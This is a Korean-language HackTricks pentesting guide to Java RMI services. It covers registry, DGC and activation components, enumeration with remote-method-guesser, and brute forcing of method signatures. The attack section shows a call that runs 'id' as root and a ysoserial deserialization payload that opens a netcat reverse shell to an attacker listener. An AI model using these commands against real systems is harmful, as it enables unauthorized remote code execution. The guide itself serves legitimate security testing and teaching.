hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md

20 KiB

1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

기본 정보

Java 원격 메소드 호출, 또는 Java RMI,는 객체 지향 RPC 메커니즘으로, 한 _Java 가상 머신_에 위치한 객체가 다른 _Java 가상 머신_에 위치한 객체의 메소드를 호출할 수 있게 합니다. 이를 통해 개발자들은 객체 지향 패러다임을 사용하여 분산 애플리케이션을 작성할 수 있습니다. 공격적인 관점에서의 _Java RMI_에 대한 간단한 소개는 이 블랙햇 토크에서 찾을 수 있습니다.

기본 포트: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

일반적으로 기본 Java RMI 구성 요소인 RMI Registry 및 _Activation System_만 일반 포트에 바인딩됩니다. 실제 RMI 애플리케이션을 구현하는 _원격 객체_는 일반적으로 위의 출력에서와 같이 무작위 포트에 바인딩됩니다.

_nmap_은 때때로 SSL 보호된 RMI 서비스를 식별하는 데 어려움을 겪을 수 있습니다. 일반 RMI 포트에서 알 수 없는 ssl 서비스를 만나면 추가 조사해야 합니다.

RMI 구성 요소

간단히 말하면, _Java RMI_는 개발자가 네트워크에서 _Java 객체_를 사용할 수 있게 합니다. 이는 클라이언트가 연결하고 해당 객체의 메서드를 호출할 수 있는 TCP 포트를 엽니다. 이것이 간단해 보이지만, _Java RMI_가 해결해야 할 여러 가지 도전 과제가 있습니다:

  1. _Java RMI_를 통해 메서드 호출을 보내려면 클라이언트가 대상 객체의 IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스, 대상 객체의 ObjID를 알아야 합니다 (ObjID는 객체가 네트워크에서 사용 가능해질 때 생성되는 고유한 무작위 식별자입니다. _Java RMI_는 동일한 TCP 포트에서 여러 객체가 수신할 수 있기 때문에 필요합니다).
  2. 원격 클라이언트는 노출된 객체의 메서드를 호출하여 서버에 리소스를 할당할 수 있습니다. _Java 가상 머신_은 이러한 리소스 중 어떤 것이 아직 사용 중이고 어떤 것이 가비지 수집될 수 있는지 추적해야 합니다.

첫 번째 도전 과제는 기본적으로 _Java RMI_의 네이밍 서비스인 _RMI 레지스트리_에 의해 해결됩니다. RMI 레지스트리 자체도 _RMI 서비스_이지만 구현된 인터페이스와 ObjID는 모든 RMI 클라이언트에 의해 고정되어 알려져 있습니다. 이를 통해 RMI 클라이언트는 해당 TCP 포트를 알고 있으면 _RMI 레지스트리_를 사용할 수 있습니다.

개발자가 네트워크 내에서 자신의 _Java 객체_를 사용할 수 있게 하려면 일반적으로 그들을 _RMI 레지스트리_에 바인딩합니다. _레지스트리_는 객체에 연결할 때 필요한 모든 정보를 저장하고 (IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스 및 ObjID 값) 이를 인간이 읽을 수 있는 이름 (바인딩된 이름) 아래 사용할 수 있게 합니다. _RMI 서비스_를 사용하려는 클라이언트는 _RMI 레지스트리_에 해당하는 _바인딩된 이름_을 요청하고 레지스트리는 연결에 필요한 모든 정보를 반환합니다. 따라서 상황은 사실 일반 DNS 서비스와 거의 동일합니다. 다음 목록은 작은 예제를 보여줍니다:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

위에서 언급한 도전 과제 중 두 번째는 분산 가비지 수집기 (DGC)에 의해 해결됩니다. 이는 다른 _RMI 서비스_로, 잘 알려진 ObjID 값이 있으며 기본적으로 각 _RMI 엔드포인트_에서 사용할 수 있습니다. _RMI 클라이언트_가 _RMI 서비스_를 사용하기 시작하면 해당 _원격 객체_가 사용 중임을 _DGC_에 정보를 보냅니다. _DGC_는 그러면 참조 카운트를 추적하고 사용되지 않는 객체를 정리할 수 있습니다.

폐기된 _Activation System_과 함께, 이것들은 _Java RMI_의 세 가지 기본 구성 요소입니다:

  1. RMI 레지스트리 (ObjID = 0)
  2. Activation System (ObjID = 1)
  3. 분산 가비지 수집기 (ObjID = 2)

_Java RMI_의 기본 구성 요소는 상당한 시간 동안 알려진 공격 벡터이며 오래된 Java 버전에서 여러 취약점이 존재합니다. 공격자 관점에서 이러한 기본 구성 요소는 흥미로운데, 알려진 클래스/인터페이스가 구현되어 있고 상호 작용이 쉽기 때문입니다. 이 상황은 사용자 정의 _RMI 서비스_에 대해서는 다릅니다. _원격 객체_의 메서드를 호출하려면 미리 해당 메서드 시그니처를 알아야 합니다. 기존 메서드 시그니처를 알지 못하는 경우, _RMI 서비스_에 통신할 방법이 없습니다.

RMI 열거

remote-method-guesser는 공통 _RMI 취약점_을 자동으로 식별할 수 있는 Java RMI 취약점 스캐너입니다. RMI 엔드포인트를 식별하면 시도해 보아야 합니다:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Enumeration 작업의 출력은 프로젝트의 문서 페이지에서 자세히 설명되어 있습니다. 결과에 따라 식별된 취약점을 확인해야 합니다.

_remote-method-guesser_에 의해 표시된 ObjID 값은 서비스의 가동 시간을 결정하는 데 사용될 수 있습니다. 이는 다른 취약점을 식별하는 데 도움이 될 수 있습니다:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

원격 메소드 브루트포싱

열거 중에 취약점이 식별되지 않았더라도 사용 가능한 RMI 서비스는 여전히 위험한 기능을 노출할 수 있습니다. 또한, RMI 통신이 RMI 기본 구성 요소로 이루어질 때는 역직렬화 필터로 보호되지만, 사용자 정의 RMI 서비스와 통신할 때는 이러한 필터가 일반적으로 적용되지 않습니다. 따라서 RMI 서비스에서 유효한 메소드 시그니처를 알아내는 것은 가치가 있습니다.

불행히도, _Java RMI_는 _원격 객체_의 메소드를 열거하는 것을 지원하지 않습니다. 그렇지만 remote-method-guesserrmiscout와 같은 도구를 사용하여 메소드 시그니처를 브루트포스할 수 있습니다:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

식별된 메서드는 다음과 같이 호출할 수 있습니다:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

또는 다음과 같이 직렬화 공격을 수행할 수 있습니다:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

다음 기사에서 자세한 정보를 찾을 수 있습니다:

추측 외에도 RMI 서비스를 만난 후에는 검색 엔진이나 _GitHub_에서 인터페이스나 심지어 구현을 찾아보아야 합니다. 여기서 _bound name_과 구현된 클래스 또는 인터페이스의 이름이 도움이 될 수 있습니다.

알려진 인터페이스

remote-method-guesser는 도구의 내부 데이터베이스에 있는 알려진 RMI 서비스 목록에 나열된 클래스나 인터페이스를 known로 표시합니다. 이러한 경우에는 해당 _RMI 서비스_에 대한 자세한 정보를 얻기 위해 known 동작을 사용할 수 있습니다:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

도구

참고 자료

HackTricks 자동 명령어

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법: